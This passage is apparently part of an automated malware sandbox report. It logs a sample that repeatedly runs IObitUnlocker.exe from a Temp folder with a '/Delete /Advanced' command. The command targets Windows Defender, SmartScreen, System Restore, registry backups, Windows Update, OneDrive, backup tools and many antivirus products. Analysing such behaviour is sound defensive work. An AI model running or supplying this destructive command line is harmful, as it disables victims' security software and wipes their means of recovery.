icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3512
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3156
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files 